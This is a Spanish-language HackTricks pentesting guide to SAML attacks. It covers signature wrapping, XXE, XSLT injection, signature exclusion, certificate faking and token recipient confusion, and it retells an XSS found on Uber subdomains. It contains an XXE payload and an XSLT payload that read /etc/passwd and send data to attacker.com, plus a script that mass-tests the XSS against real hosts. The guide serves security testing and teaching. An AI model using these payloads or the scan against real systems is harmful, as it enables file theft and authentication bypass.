hacktricks/pentesting-web/saml-attacks/README.md

312 lines
20 KiB
Markdown

# Ataques SAML
## Ataques SAML
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Información Básica
{% content-ref url="saml-basics.md" %}
[saml-basics.md](saml-basics.md)
{% endcontent-ref %}
## Gráfico de Ataques
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>)
## Herramienta
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Una herramienta que puede tomar una URL o lista de URL y devuelve la URL de consumo de SAML.
## Viaje de ida y vuelta en XML
En XML, la parte firmada del XML se guarda en memoria, luego se realiza alguna codificación/decodificación y se verifica la firma. Idealmente, esa codificación/decodificación no debería cambiar los datos, pero basándose en ese escenario, **los datos que se están verificando y los datos originales podrían no ser los mismos**.
Por ejemplo, revisa el siguiente código:
```ruby
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
Ejecutar el programa contra REXML 3.2.4 o versiones anteriores resultaría en la siguiente salida en su lugar:
```
First child in original doc: Y
First child after round-trip: Z
```
Así es como REXML vio el documento XML original del programa anterior:
![](<../../.gitbook/assets/image (561).png>)
Y así es como lo vio después de una ronda de análisis y serialización:
![](<../../.gitbook/assets/image (562).png>)
Para más información sobre la vulnerabilidad y cómo explotarla:
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
## Ataques de Envoltura de Firma XML
Los documentos XML que contienen Firmas XML típicamente se **procesan en dos pasos independientes**: **validación de firma** y **invocación de función** (lógica de negocio). Si ambos módulos tienen diferentes perspectivas sobre los datos, existe una nueva clase de vulnerabilidades llamadas ataques de Envoltura de Firma XML (XSW).\
En estos ataques, el **adversario** **modifica** la **estructura del mensaje** **inyectando** elementos **falsificados que no invalidan la Firma XML**. El objetivo de esta alteración es cambiar el mensaje de tal manera que la **lógica de la aplicación y el módulo de verificación de la firma usen diferentes partes del mensaje**. En consecuencia, el receptor verifica la Firma XML con éxito pero la lógica de la aplicación procesa el elemento falso. El **atacante así elude la protección de la integridad** y la autenticación de origen de la Firma XML y puede inyectar contenido arbitrario.
Del pedido SAML:
![](<../../.gitbook/assets/image (537).png>)
### XSW #1
Un atacante puede **añadir un nuevo elemento raíz donde se encuentra la firma**. Por lo tanto, cuando el validador verifica la integridad de la firma, puede notar que ha **verificado** la **integridad** de **Response -> Assertion -> Subject**, y podría confundirse con la **nueva ruta maliciosa Response -> Assertion -> Subject** en rojo y usar sus datos.
![](<../../.gitbook/assets/image (538).png>)
### XSW #2
La diferencia con el #1 es que el tipo de Firma utilizada es una **firma desligada** donde XSW #1 usó una firma envolvente.\
Nota cómo la nueva estructura maliciosa es la misma que antes tratando de confundir la lógica de negocio después de que se realizó la verificación de integridad.
![](<../../.gitbook/assets/image (539).png>)
### XSW #3
En este ataque se crea una **Assertion maliciosa al mismo nivel** que la original para intentar confundir la lógica de negocio y usar los datos maliciosos.
![](<../../.gitbook/assets/image (540).png>)
### XSW #4
XSW #4 es similar al #3, excepto que en este caso la **Assertion original se convierte en hija** de la Assertion copiada.
![](<../../.gitbook/assets/image (541).png>)
### XSW #5
En XSW #5 la Firma y la Assertion original no están en una de las tres configuraciones estándar (envuelta/envolvente/desligada). En este caso, la Assertion copiada envuelve la Firma.
![](<../../.gitbook/assets/image (542).png>)
### XSW #6
XSW #6 inserta su Assertion copiada en la misma ubicación que los números 4 y 5. Lo interesante aquí es que la Assertion copiada envuelve la Firma, que a su vez envuelve la Assertion original.
![](<../../.gitbook/assets/image (543).png>)
### XSW #7
XSW #7 inserta un elemento **Extensions** y añade la **Assertion** copiada como **hija**. Extensions es un elemento XML válido con una **definición de esquema menos restrictiva**. Los autores de este [white paper](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) desarrollaron este método en respuesta a la biblioteca OpenSAML. OpenSAML utilizaba la validación de esquema para comparar correctamente el ID utilizado durante la validación de la firma con el ID de la Assertion procesada. Los autores encontraron que en casos donde las Assertions copiadas con el mismo ID de la Assertion original eran hijas de un elemento con una definición de esquema menos restrictiva, lograron eludir esta contramedida en particular.
![](<../../.gitbook/assets/image (544).png>)
### XSW #8
XSW #8 utiliza otro elemento XML **menos restrictivo** para realizar una variación del patrón de ataque utilizado en XSW #7. Esta vez, la Assertion original es la hija del elemento menos restrictivo en lugar de la Assertion copiada.
![](<../../.gitbook/assets/image (545).png>)
### Herramienta
Puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para analizar el pedido, aplicar cualquier ataque XSW que elijas y lanzarlo.
![](<../../.gitbook/assets/image (546).png>)
### Paper Original
Para más información sobre este ataque lee el paper original en [https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
## XXE
Si no sabes qué tipo de ataques son XXE, por favor lee la siguiente página:
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
{% endcontent-ref %}
Debido a que las Respuestas SAML son documentos XML deflactados y codificados en base64, podemos probar **XXE** manipulando el documento XML enviado como la Respuesta SAML. Ejemplo:
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
### Herramienta
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades XXE.
Consulta también esta charla: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XSLT a través de SAML
Para más información sobre XSLT, visita:
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
{% endcontent-ref %}
La Transformación de Lenguaje de Hojas de Estilo Extensible (XSLT) es un lenguaje completo de Turing para transformar documentos XML en otros tipos de documentos como HTML, JSON o PDF. Un aspecto importante a tener en cuenta aquí es que **el ataque no requiere una firma válida para tener éxito**. La razón de esto es que **la transformación XSLT ocurre antes de que la firma digital sea procesada para su verificación**. Básicamente, necesitamos una Respuesta SAML firmada para realizar el ataque, pero la firma puede ser auto-firmada o inválida.
![xslt](https://epi052.gitlab.io/notes-to-self/img/saml/xslt.png)
Aquí puedes encontrar un **POC** para comprobar este tipo de vulnerabilidades, en la página de hacktricks mencionada al principio de esta sección puedes encontrar payloads.
```markup
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```
### Herramienta
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades XSLT.
Consulta también esta charla: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## Exclusión de Firma XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
La Exclusión de Firma se utiliza para probar cómo se comporta la implementación de SAML cuando **no hay un elemento Signature**. Cuando un elemento Signature está **ausente**, el **paso de validación de la firma puede omitirse completamente**. Si la firma no se valida, entonces cualquier contenido que típicamente estaría firmado puede ser alterado por un atacante.
![](<../../.gitbook/assets/image (547).png>)
### Herramienta <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
La exclusión de firma comienza interceptando la Respuesta SAML y luego haciendo clic en `Remove Signatures`. Al hacerlo, se eliminan **todos** los elementos Signature.
![sig-exclusion](https://epi052.gitlab.io/notes-to-self/img/saml/sig-exclusion.png)
Con las firmas eliminadas, permite que la solicitud proceda al destino. Si la firma no es requerida por el Servicio
## Falsificación de Certificados <a href="#certificate-faking" id="certificate-faking"></a>
La falsificación de certificados es el proceso de probar si el Proveedor de Servicios **verifica que un Proveedor de Identidad de confianza firmó el Mensaje SAML.** La relación de confianza entre SP e IdP se establece y **debe ser verificada** cada vez que se recibe un Mensaje SAML. Esto se reduce a usar un certificado **auto-firmado** para firmar la Respuesta SAML o la Afirmación.
### Herramienta <a href="#certificate-faking-how-to" id="certificate-faking-how-to"></a>
Se va a utilizar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e).\
Para falsificar un certificado, comienza interceptando la Respuesta SAML.\
Si hay una firma incluida en la Respuesta, usa el botón `Send Certificate to SAML Raider Certs`.
![send-cert](https://epi052.gitlab.io/notes-to-self/img/saml/send-cert.png)
Después de enviar el certificado, deberíamos ver un certificado importado en la pestaña Certificados de SAML Raider. Una vez allí, destacamos el certificado importado y presionamos el botón `Save and Self-Sign`.
![sent-cert](https://epi052.gitlab.io/notes-to-self/img/saml/sent-cert.png)
Al hacerlo, se genera un clon auto-firmado del certificado original. Ahora es el momento de volver a la solicitud interceptada que aún se mantiene en el Proxy de burp. Primero, selecciona el nuevo certificado auto-firmado del menú desplegable de Firma XML. Luego usa el botón `Remove Signatures` para eliminar cualquier firma existente. Finalmente, usa el botón **`(Re-)Sign Message`** o `(`**`Re-)Sign Assertion`** (**cualquiera** que sea **más** **apropiado** en tu situación dada).
![remove-sig](https://epi052.gitlab.io/notes-to-self/img/saml/remove-sig.png)
Después de firmar el mensaje con el certificado auto-firmado, envíalo. Si nos autenticamos, sabemos que podemos firmar nuestros Mensajes SAML. La capacidad de firmar nuestros Mensajes SAML significa que podemos cambiar valores en la Afirmación y serán aceptados por el Proveedor de Servicios.
## Confusión del Destinatario del Token / Confusión del Objetivo del Proveedor de Servicios <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
La Confusión del Destinatario del Token / Confusión del Objetivo del Proveedor de Servicios **prueba si el Proveedor de Servicios valida el Destinatario**. Esto significa que, **si la respuesta estaba destinada a un Proveedor de Servicios diferente**, el Proveedor de Servicios **actual** debería notarlo y **rechazar la autenticación**.\
El campo **Recipient** es un atributo del elemento **SubjectConfirmationData**, que es hijo del elemento Subject en una Respuesta SAML.
> El elemento SubjectConfirmationData especifica datos adicionales que permiten confirmar al sujeto o restringen las circunstancias bajo las cuales puede tener lugar el acto de confirmación del sujeto. La confirmación del sujeto tiene lugar cuando una parte confiable busca verificar la relación entre una entidad que presenta la afirmación (es decir, la entidad que atestigua) y el sujeto de las reclamaciones de la afirmación.
El atributo Recipient encontrado en el elemento **SubjectConfirmationData es una URL que especifica la ubicación a la que se debe entregar la Afirmación**. Si el Recipient es un Proveedor de Servicios diferente al que lo recibe, la Afirmación no debería ser aceptada.
### Cómo hacerlo <a href="#token-recipient-confusion-how-to" id="token-recipient-confusion-how-to"></a>
La Confusión del Destinatario del Token SAML (SAML-TRC) tiene algunas condiciones previas para que intentemos la explotación. Primero, **necesitamos** tener una **cuenta legítima en un Proveedor de Servicios**. Segundo, **SP-Target debe aceptar tokens emitidos por el mismo Proveedor de Identidad que sirve a SP-Legit**.
El ataque es relativamente simple si las condiciones son verdaderas. Nos **autenticamos** en **SP-Legit** a través del Proveedor de Identidad compartido. Luego **interceptamos la Respuesta SAML en su camino desde el IdP a SP-Legit**. Una vez interceptada, enviamos la **Respuesta SAML que estaba destinada a SP-Legit a SP-Target en su lugar.** Si **SP-Target acepta la Afirmación**; nos encontraremos conectados con el mismo nombre de cuenta que tenemos para SP-Legit y obtendremos acceso a los recursos correspondientes de SP-Target.
## XSS en la funcionalidad de Cierre de Sesión
(Accede a la [investigación original aquí](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/))
Después de realizar el fuerza bruta de directorios encontré la siguiente página:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
Es una página de cierre de sesión, abrí el enlace anterior y me redirigió a la siguiente página
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
El parámetro base está tomando una URL, así que ¿qué tal si lo reemplazamos con el clásico `javascript:alert(123);` para desencadenar un XSS.
### Explotación Masiva
Usando [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) que puede tomar una lista de URLs y luego devolverte la URL de callback (consumo de SAML), decidí alimentar la herramienta con todos los subdominios de `uberinternal.com` para ver si hay otros dominios que usen la misma biblioteca y los había.
Lo que hice a continuación fue crear un script que llama a la página vulnerable `oidauth/prompt` y probar el XSS y si mi entrada se refleja, me da un bonito mensaje de vulnerabilidad.
```python
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
```
## Referencias
Los ataques se obtuvieron de [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
Puedes encontrar recursos adicionales y write-ups en [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>